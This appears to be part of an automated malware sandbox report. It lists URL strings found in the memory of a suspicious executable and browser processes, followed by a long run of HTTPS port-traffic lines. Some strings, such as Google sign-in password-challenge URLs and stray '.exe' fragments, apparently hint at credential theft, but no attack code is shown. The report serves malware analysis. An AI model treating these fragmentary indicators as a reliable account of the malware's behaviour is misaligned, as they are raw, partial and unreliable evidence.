Source: firefox.exe, 0000002A.00000002.3284522987.000002048AA00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000003.3004296658.000002048A83A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3003094102.000002048A81E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3006122223.000002048A873000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3004712211.000002048A857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3002071042.000002048A600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 0000002A.00000003.3107154254.000002048C867000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/searchcb8e7210-9f0b-48fa-8708-b9a03df79eeaccb137f1-7733-464c-bb70-03
Source: 067286f766.exe, 0000001A.00000003.2886214841.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2902896864.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885865990.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885970862.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3046319737.0000000005C2A000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3071790557.0000000005C3E000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3070249227.0000000005C46000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303992116.00003EDC00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3295084405.00003EDC00888000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3266011149.00003EDC00538000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3267189331.00003EDC0060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000002A.00000003.3111086766.00000204928EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 0000002E.00000002.3299899636.00003EDC00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3108195312.00000204924A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3241492483.0000020487E7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3108195312.00000204924A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3241492483.0000020487E7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3108195312.00000204924A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3241492483.0000020487E7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000002A.00000002.3301081919.000002048AF92000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3293675357.000002048ADD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3241492483.0000020487E35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3188698943.000000F9788FC000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3301081919.000002048AF2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: file.exe, 00000000.00000002.2413344379.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2413344379.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/CAKEHIEBAFIE
Source: 067286f766.exe, 0000002B.00000003.3101825141.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 0000002A.00000003.3127460196.000002048BF04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3115069750.000002048B00D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: file.exe, 00000000.00000002.2413344379.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2413344379.00000000003E7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2413344379.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2413344379.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: 067286f766.exe, 0000002B.00000003.3101825141.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2413344379.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2349810466.000000002372E000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2930062876.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3160010363.0000020492983000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3101825141.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 067286f766.exe, 0000002B.00000003.3101825141.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: file.exe, 00000000.00000003.2349810466.000000002372E000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2930062876.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3160010363.0000020492983000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3101825141.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2413344379.0000000000304000.00000040.00000001.01000000.00000003.sdmp, firefox.exe, 0000002C.00000002.3186536382.00000278842CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000002C.00000002.3186536382.00000278842CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/US
Source: file.exe, 00000000.00000003.2349810466.000000002372E000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2930062876.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3101825141.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2413344379.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: firefox.exe, 0000002A.00000002.3188698943.000000F9788FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3097323108.000002049253C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3075699981.00000204928EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3087950329.00000204928ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3111086766.00000204928EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000002A.00000002.3301081919.000002048AFCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3111086766.00000204928EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3075699981.00000204928EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3087950329.00000204928ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3111086766.00000204928EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3097323108.000002049253C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000002A.00000003.3078361109.000002048CEC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3301081919.000002048AFCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3245540003.0000020489A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000002A.00000003.3111626594.000002048D044000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000002C.00000002.3185390832.00000278840C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.coM
Source: firefox.exe, 0000002A.00000003.3078361109.000002048CEC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A1E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3245540003.0000020489A35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3183867295.0000027883FE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3183867295.0000027883FEA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185390832.00000278840C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000028.00000002.2981460517.0000024897C71000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000029.00000002.2992677391.0000023CACCCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000002A.00000002.3247700012.0000020489E2D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3183867295.0000027883FE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185390832.00000278840C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000002A.00000002.3301081919.000002048AFCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comExtensionProtocolHandler

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 50335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 61361 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50337
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50338
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50330
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50335
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50334
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
